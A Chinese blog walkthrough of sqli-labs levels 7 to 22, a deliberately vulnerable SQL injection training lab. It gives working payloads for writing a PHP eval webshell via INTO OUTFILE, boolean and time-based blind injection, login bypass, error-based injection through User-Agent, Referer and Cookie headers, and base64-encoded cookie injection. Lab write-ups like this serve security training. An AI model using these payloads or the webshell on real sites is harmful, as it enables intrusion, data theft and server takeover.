SQL注入之sqli-labs(Less7-22) – 作者:停止思考的Thomas

Less-7

less7-1.png

废话不多说,接上篇文章,进入第七关,可以看到和之前关卡的提示有点不一样:You are in…. Use outfile……
单引号报错,不过并没有显示详细的错误信息,如下:

less7-2.png

双引号返回正常,说明参数是用单引号包裹的,再来尝试闭合:

http://192.168.237.1/sqli-labs/Less-7/?id=1'--+

less7-3.png

失败了,还是提示语法错误,应该是被括号包裹了,多尝试几次就可以得到正确的闭合,如下:

http://192.168.237.1/sqli-labs/Less-7/?id=1'))--+

//确定字段数
http://192.168.237.1/sqli-labs/Less-7/?id=1' order by 3--+

再来尝试联合查询注入,如下:

http://192.168.237.1/sqli-labs/Less-7/?id=-1' union select 1,2,3--+

less7-4.png

网页只给我们返回了一个正常页面,并没有显示位。实际上这一题既不能用联合查询注入,也不能用报错注入,因为网站把报错回显给关闭了。可以看一下后台的源码php文件,关键代码片段如下:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>


";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

可以看出,当查询结果为真时,网页只会输出一个You are in…. Use outfile……,当结果为假时,则输出You have an error in your SQL syntax,输出网站错误信息这一行也被注释了。再回头来看网站一开始的提示:use outfile。由此可以猜测,是用outfile写入一句话木马,不过有两个前置条件:1.有写入权限 2.知道网站在服务器上的绝对路径
网站的绝对路径可以去前面几题获取(在实战中的话就需要看前期的信息搜集有没有得到绝对路径了),payload如下:

http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir
    basedir()指定了安装MYSQL的安装路径
    datadir()指定了安装MYSQL的数据文件路径

less7-5.png

这样便得到了绝对路径,直接写入一句话木马,payload如下:

http://192.168.237.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"F:\\phpstudy_pro\\WWW\\sqli-labs\\less-7\\hack.php"--+

注意写入的绝对路径要用双反斜杠,不然会写入不成功;

less7-6.png

这里显示语法错误,我们不管,用蚁剑连接,成功,如下:

less7-7.png

如果写入一句话木马失败的话,可能是数据库没有打开写权限,需要将secure_file_priv的值改为网站根目录,然后重启MySQL服务才会生效,具体操作可以去看我的之前发的一篇文章,这里不再赘述:http://www.baihaiou.cn/wordpress/index.php/2021/04/04/3/

Less-8

单引号报错,双引号返回正常,很容易便能得到闭合语句,如下:

http://192.168.237.1/sqli-labs/Less-8/?id=1'--+

看到页面显示的“You are in………..”就知道,这题只能是盲注了。
SQL注入按照有回显和无回显可以分为两类,有回显即网页将SQL语句返回的内容显示在了页面中,无回显则反之,有回显一般使用联合查询注入,无回显则使用报错注入,盲注。从时间成本上来看,联合查询注入<报错注入<<盲注。
盲注也可以分为布尔型盲注和延时型注入,一般优先使用布尔型盲注,payload如下:

http://192.168.237.1/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s' --+
这个payload作用是查询当前数据库名的第一个字母是不是s,如果是则页面返回正常,否则返回异常,以此类推,可以通过这个方式去遍历得到数据库中的所有数据,只是耗费时间比较多,这里就不在往下演示了,一般都用工具,如sqlmap之类,代码基础可以的话,自己写脚本也是可以的。

Less-9

单引号和双引号都返回相同页面,没有报错,猜测网站的逻辑是:无论结果为真还是未加,都返回相同页面,去查看源码文件,果然如此,关键代码片段如下:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>


";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

这种情况下,我们不能通过网页的返回内容来判断语句是否正常执行了,那么只能通过构造延时注入的payload来判断了,如下:

http://192.168.237.1/sqli-labs/Less-9/?id=1' and if((length(database())=8),sleep(3),0) --+
这条语句的意思是:判断数据库名的长度是否为8,如果是,则等待3秒再往下执行,反之则不会有等待时间。
获取数据的方式和上一题的布尔型盲注其实没太大区别,都是通过遍历。

Less-10

这关和上一关基本一致,只是把包裹参数的单引号变成了双引号而已,闭合payload如下:

http://192.168.237.1/sqli-labs/Less-10/?id=1"--+

Less-11

less11-1.png

进入这题可以看到一个登录框,毫无疑问注入点就在输入用户名和密码处,直接尝试在用户名处输入一个单引号,回车,直接报错了:

less11-2.png

再尝试双引号,不报错了:

less11-3.png

可以确定是一个单引号的字符型注入,既然是登录框,那么我们可以尝试绕过用户名密码的验证,来登录后台。结合报错信息,猜测一下后台判断用户登录的逻辑,SQL语句应该是大致是这样:

select * from users where username='$username' and password='$password' limit 0,1

其中的username和password两个变量是用户可控的,那么我们就可以根据此来构造一个payload:

' or 1=1#

这个payload将前面的$username变量闭合,并使其结果返回为真,又把后面的语句注释掉,这样,便可以绕过验证成功登录了,如下图:

less11-5.png

当然,这里也可以通过联合查询注入爆数据,payload如下:

' union select user(http://42.194.148.237/wordpress/photo/sqli/less7-22/),2#

less11-4.png

Less-12

这关和上一关的思路基本相同,可以参照上一题,只是参数便为由双引号和括号包裹,闭合payload如下:

") or 1=1#

Less-13

还是差不多的,闭合payload如下:

') or 1=1#

但是有一点要提的是,这一关不可以用联合查询注入,因为登陆后的显示位没有了,如下图:
less11-6.png
但是报错注入,还是可以用的,payload如下:

') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

Less-14

还是和上一关差不多,闭合payload如下:

" or 1=1#

报错注入payload:

" and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

Less-15

这一关稍有变化,单双引号都没有报错,说明关闭了错误回显,这种情况只能靠我们自己去不断猜测尝试了,像这种题目,只要思路没有问题,闭合成功就只是时间问题了,这里直接放闭合payload:

' or 1=1#

less15-1.png

爆数据的话这一关只能盲注,报错注入也用不了,因为关闭了错误回显

Less-16

老样子,参考上一关,闭合payload如下:

1") or 1=1#

less16-1.png

Less-17

less17-1.png

可以看到这是一个重置密码的页面,猜测SQL语句大概是这样:

update users set password='$password' where username='$username'

首先可以确定的是这里用不了union,insert/update,delete与select注入的区别也就在于此,select注入可以通过union拼接查询语句,而insert/update,delete不行,因为前者是操作修改数据,而后者是查询。那么我们先试试重置一下用户名为admin的密码,如下:

less17-2.png

可以看到是成功了的,那么尝试一下报错注入,payload如下:

1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

less17-3.png

看一下源文件,关键代码如下:

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

网站通过check_input()这个函数对用户名处的输入做了严格的过滤:
substr()函数,只接收15个字符;get_magic_quotes_gpc()函数,用来判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误(当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1,为off则返回0);
stripslashes()函数,返回已删除反斜杠的字符串;
ctype_digit()函数,判断检查字符串里的字符是不是都为数字,是返回true,不是则返回false;
intval()函数,整型转换;
虽然对用户名做了严格过滤,但是对密码处却没有做任何限制,所有我们可以直接构造闭合payload进行攻击。这可以类比我们常说的木桶原理,从我们攻击的角度来看,一个网站的安全策略就算假设其做的再完美,但却出现了一个弱口令,那这些安全策略也只能是摆设了。

Less-18

less18-2.png

18关,网页显示了我们的IP,先登录一下试试:admin,123456

less18-1.png

登录后,网页显示了我们的UA(user agent),可以猜测网页将我们的UA信息插入到了数据库中,再返回到页面上。只要与数据库有交互,就可能存在注入,所以我们尝试修改UA字段。因为是post请求,就用burp来演示,先抓取一个登录成功时的包,发送到repeater里,方便测试,如下图:

less18-3.png

先发送一个正常登录的数据包,可以看到返回正常:

less18-4.png

再将UA字段改为一个单引号,重新发送,网页报错了:

less18-5.png

很明显存在注入,这里是insert插入语句,所以我们用报错注入,payload如下:

User-Agent: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '1
这里后面需要闭合,不能用注释符,会破坏insert语句的插入

less18-6.png

放一下后台insert语句的源码,方便理解:

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

Less-19

这一关和18关差不多,只是注入点由UA字段变为Referer字段,payload如下:

Referer: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) or '

less19-1.png

Less-20

先登录,如下图:

less20-1.png

网页将我们的cookie插入到了数据库,再返回到了页面上,显然注入点再cookie处,我们抓个包,在cookie处加单引号试试,如下图:

less20-2.png

果不其然,报错了,接着闭合,联合查询注入,payload如下:

Cookie: uname=' union select user(),2,3#

less20-3.png

Less-21

这关和上一关的区别在于后台拿到cookie后,会先用base64解码,再放到数据库查询,关键代码片段如下:

echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
			$cookee = base64_decode($cookee);
			echo "<br>


</font>";
			$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";

所以我们只要先把payload用base64编码就可以正常利用了,如:

base64编码前payload:') union select user(),2,3#
base64编码后payload:JykgdW5pb24gc2VsZWN0IHVzZXIoKSwyLDMj

成功执行,如下图:

less21-1.png

Less-22

和21关没差,示例payload:

base64编码前payload:" union select 1,2,user()#
base64编码后payload:IiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM=

less22-1.png

结尾

sqli-labs靶场的第一部分算是写完了,之后部分看什么时候有时间来慢慢补上。

来源:freebuf.com 2021-06-15 18:04:56 by: 停止思考的Thomas

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论